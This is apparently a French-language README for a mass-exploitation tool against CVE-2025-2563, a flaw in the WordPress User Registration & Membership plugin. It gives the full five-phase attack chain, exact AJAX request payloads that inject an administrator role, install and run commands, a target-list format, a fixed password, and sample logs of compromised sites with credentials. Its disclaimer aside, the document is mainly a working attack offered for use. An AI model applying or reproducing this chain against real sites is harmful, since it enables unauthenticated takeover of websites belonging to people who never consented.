
Le plugin WordPress User Registration & Membership avant la version 4.1.2 n'empêche pas les utilisateurs de définir leur rôle de compte lorsque le Membership Addon est activé, ce qui entraîne un problème d'escalade de privilèges et permet aux utilisateurs non authentifiés d'obtenir des privilèges d'administrateur.
Le plugin User Registration & Membership pour WordPress avant la version 4.1.2 n'empêche pas les utilisateurs de définir leur rôle de compte lorsque le module complémentaire Membership est activé, ce qui entraîne un problème d'escalade de privilèges et permet à des utilisateurs non authentifiés d'obtenir des privilèges d'administrateur.
Description :
Le plugin User Registration & Membership pour WordPress dans les versions antérieures à 4.1.2 n'applique pas les restrictions de rôle côté serveur lorsque le module complémentaire Membership est activé. Lors du processus d'inscription au membership, le plugin accepte un champ role fourni par l'utilisateur dans l'action AJAX user_registration_membership_register_member sans le valider par rapport à une liste autorisée côté serveur. Un attaquant distant complètement non authentifié peut soumettre une chaîne AJAX en deux étapes — d'abord en enregistrant un nouveau compte utilisateur via user_registration_user_form_submit, puis en injectant "role": "administrator" dans la charge utile members_data de l'appel d'adhésion — pour créer silencieusement un compte Administrateur WordPress disposant de tous les privilèges. Cela entraîne une compromission complète du site sans aucune authentification ni interaction de l'utilisateur.
Il s'agit d'un scanner d'exploitation de masse de type Proof-of-Concept (PoC) ciblant les installations WordPress exécutant une version vulnérable du plugin User Registration & Membership avec le module complémentaire Membership actif. L'outil effectue une exploitation intelligente en plusieurs étapes avec découverte automatique, collecte de nonces, enregistrement par combinaison, injection de rôle et vérification d'administration.
[Phase 1 — Découverte]
GET /membership-pricing/ → Extraire membership_id, liens de tarification
GET /membership-registration/ → Extraire form_id, nonces, jetons de sécurité
GET /registration/ → Page d'inscription de repli
↓
[Phase 2 — Extraction des nonces]
Parse : ur_membership_frontend_localized_data._nonce
Parse : ur_frontend_form_nonce, security, form_id, membership_id
↓
[Phase 3 — Enregistrement (Attaque combinatoire)]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
form_data=[{user_login, user_email, user_pass, membership_field, ...}]
security=<token> | ur_frontend_form_nonce=<nonce>
→ Essayer toutes les combinaisons valides jusqu'à success=true
↓
[Phase 4 — Injection de rôle (CVE-2025-2563)]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator","membership":"<id>",...}
_wpnonce=<membership_js_nonce>
→ Le serveur attribue le rôle administrateur au nouvel utilisateur
↓
[Phase 5 — Vérification administrateur]
POST /wp-login.php → Connexion avec les nouveaux identifiants
GET /wp-admin/ → Vérifier le menu admin / la barre d'admin
GET /wp-admin/users.php → Confirmer l'accès manage_options
GET /wp-admin/plugin-install.php → Confirmer l'accès plugin-install
↓
[Sauvegarde dans Nx_admin.txt]
Format : [timestamp] https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
Ou via le fichier requirements :
pip install -r requirements.txt
requirements.txt :
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Cloner le dépôt
git clone https://github.com/Nxploited/CVE-2025-2563.git
cd CVE-2025-2563
# Installer les dépendances
pip install -r requirements.txt
# Lancer l'outil
python3 CVE-2025-2563.py
python3 CVE-2025-2563.py
L'outil utilise une interface terminale interactive entièrement propulsée par Rich.
Créez un fichier texte brut (par défaut : list.txt) — une cible par ligne :
https://target1.com
https://target2.com
http://target3.com
target4.com
Les cibles sans
http://ouhttps://sont automatiquement préfixées parhttps://.
Fichier de cibles [list.txt] : list.txt
Threads [3] : 5
Délai d'attente HTTP (secondes) [10] : 10
Nombre maximal de tentatives d'enregistrement par cible [20] : 20
Le mot de passe est fixé en interne à
Nx_adminSApour toutes les tentatives d'enregistrement.
L'outil sonde automatiquement trois pages par cible :
Les jetons suivants sont extraits du HTML brut et du JavaScript en ligne :
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&security=<token>
&form_data=[{"field_name":"user_login","value":"Nxploited_482",...},
{"field_name":"membership_field_1771350090","value":"<mid>","field_type":"radio"}]
&form_id=<id>
&ur_frontend_form_nonce=<nonce>
&is_membership_active=<mid>
&membership_type=<mid>
L'outil itère automatiquement sur toutes les combinaisons découvertes de security, frontend_nonce, form_id et membership_id jusqu'à recevoir une réponse success: true.
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&_wpnonce=<membership_js_nonce>
&members_data={"membership":"<id>","payment_method":"free",
"role":"administrator","username":"Nxploited_482",...}
&form_response={"username":"Nxploited_482","registration_type":"membership"}
⚠️ Le serveur accepte le champ
rolesans aucune liste autorisée — c'est la cause racine de CVE-2025-2563.
| Fichier | Description |
|---|---|
reg.txt | Toutes les tentatives d'enregistrement réussies avec les identifiants |
Nx_admin.txt | Toutes les élévations confirmées au rang d'administrateur |
reg.txt :
[2025-06-01 12:44:10] https://target.com/wp-login.php user:Nxploited_482 email:[email protected] pass:Nx_adminSA
Nx_admin.txt :
[2025-06-01 12:44:18] https://target.com/wp-login.php user:Nxploited_482 pass:Nx_adminSA
╔══════════════════════════════════════════════════════════════════╗
║ User Registration Membership Full Chain ║
║ Par : Nxploited | GitHub : github.com/Nxploited | @Kxploit ║
╚══════════════════════════════════════════════════════════════════╝
[ANALYSE] https://target.com
[EXPLOITATION] https://target.com | nonce + enregistrement OK
[EXPLOITÉ] https://target.com | mot de passe : Nx_adminSA
┌──────────────────────────────────────────────────────────────────────────┐
│ Cible │ Statut │ Mot de passe / Note│
├──────────────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ COMPROMIS (exploité) │ password: Nx_adminSA│
│ https://target2.com │ VULNÉRABLE (nonce exposé) │ │
│ https://target3.com │ MORT (erreur de connexion) │ │
└──────────────────────────────────────────────────────────────────────────┘
Journal d'enregistrement : reg.txt
Journal d'exploitation (admin) : Nx_admin.txt
Par : Nxploited (Khaled Alenazi)
CET OUTIL EST FOURNI UNIQUEMENT À DES FINS ÉDUCATIVES ET DE RECHERCHE EN SÉCURITÉ AUTORISÉE.
L'auteur, Nxploited (Khaled Alenazi), et tous les contributeurs de ce projet n'encouragent, ne soutiennent et n'assument aucune responsabilité quant à l'utilisation abusive de cet outil ou à tout dommage causé par l'utilisation de ce logiciel contre des systèmes pour lesquels vous ne disposez pas d'une autorisation écrite explicite.
- ✅ Autorisé : Utilisation sur les systèmes que vous possédez ou pour lesquels vous avez obtenu une autorisation écrite explicite de tester.
- ❌ Interdit : Utilisation contre tout système sans autorisation écrite explicite préalable du propriétaire du système.
L'accès non autorisé aux systèmes informatiques est illégal et punissable en vertu des lois applicables, notamment le Computer Fraud and Abuse Act (CFAA), le Computer Misuse Act (CMA) et la législation équivalente dans le monde entier.
En utilisant cet outil, vous acceptez l'entière et unique responsabilité de vos actions et confirmez que vous avez l'autorité légale de tester les systèmes ciblés.
L'auteur décline toute responsabilité pour tout dommage direct, indirect, accessoire ou consécutif découlant de l'utilisation ou de l'utilisation abusive de ce logiciel.
© 2025 Nxploited (Khaled Alenazi) — Pour des recherches de sécurité autorisées uniquement.
| Champ | Détails |
|---|
| Identifiant CVE | CVE-2025-2563 |
| Sévérité | HAUTE — Score CVSS v3.1 : 8.1 |
| Vecteur | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| Logiciel concerné | Plugin User Registration & Membership pour WordPress |
| Versions concernées | Toutes les versions antérieures à 4.1.2 |
| Type de vulnérabilité | Gestion incorrecte des privilèges — Création non authentifiée de compte administrateur |
| Authentification requise | Aucune |
| CWE | CWE-269 : Gestion incorrecte des privilèges |
| Page |
|---|
| Objectif |
|---|
/membership-pricing/ | Extraire membership_id et les liens d'inscription |
/membership-registration/ | Extraire les jetons de formulaire, nonces et identifiants de champs |
/membership-registration/?membership_id=<id> | Extraction du formulaire spécifique au plan |
/registration/ | Page d'inscription générique de repli |
| Jeton | Source |
|---|
_nonce | Objet JS ur_membership_frontend_localized_data |
ur_frontend_form_nonce | Champ d'entrée caché ou objet JS |
security | user_registration_params.user_registration_form_data_save |
form_id | Entrée cachée ur-user-form-id ou objet JS |
membership_id | Entrée radio urm_membership ou chaîne de requête URL |
| Statut | Couleur | Signification |
|---|
COMPROMIS (exploité) | 🟢 Vert | Succès de la chaîne complète — connexion admin vérifiée |
COMPROMIS (exploit ok, admin non vérifié) | 🟡 Jaune | Injection de rôle réussie mais vérification panneau admin non concluante |
VULNÉRABLE (nonce exposé, enregistrement échoué) | 🟡 Jaune | Nonce d'adhésion trouvé mais AJAX d'enregistrement échoué |
VULNÉRABLE (nonce exposé, exploitation en attente) | 🟡 Jaune | Nonce trouvé mais exploitation impossible à terminer |
EXPLOITATION | 🟡 Jaune | Exploitation en cours |
ENREGISTRÉ (pas de nonce d'adhésion) | 🟡 Jaune | Enregistrement réussi mais nonce non extractible |
PAS D'ENREGISTREMENT (toutes tentatives échouées) | ⚫ Foncé | Toutes les combinaisons security/nonce/form_id épuisées |
PAS D'ENREGISTREMENT (nombre max de tentatives atteint) | ⚫ Foncé | Limite configurée de tentatives atteinte |
MORT (aucune page d'adhésion/inscription) | ⚫ Foncé | Plugin non détecté sur la cible |
ÉCHEC DE L'EXPLOITATION (erreur de requête) | 🔴 Rouge | Erreur réseau lors de l'appel d'injection de rôle |
ÉCHEC DE L'EXPLOITATION (success=false) | 🔴 Rouge | Le serveur a renvoyé success: false sur l'injection de rôle |
DÉPASSEMENT DE DÉLAI | ⚫ Foncé | Délai d'attente HTTP |
MORT (erreur de connexion) | ⚫ Foncé | Connexion refusée / inaccessible |
ERREUR | 🔴 Rouge | Exception inattendue |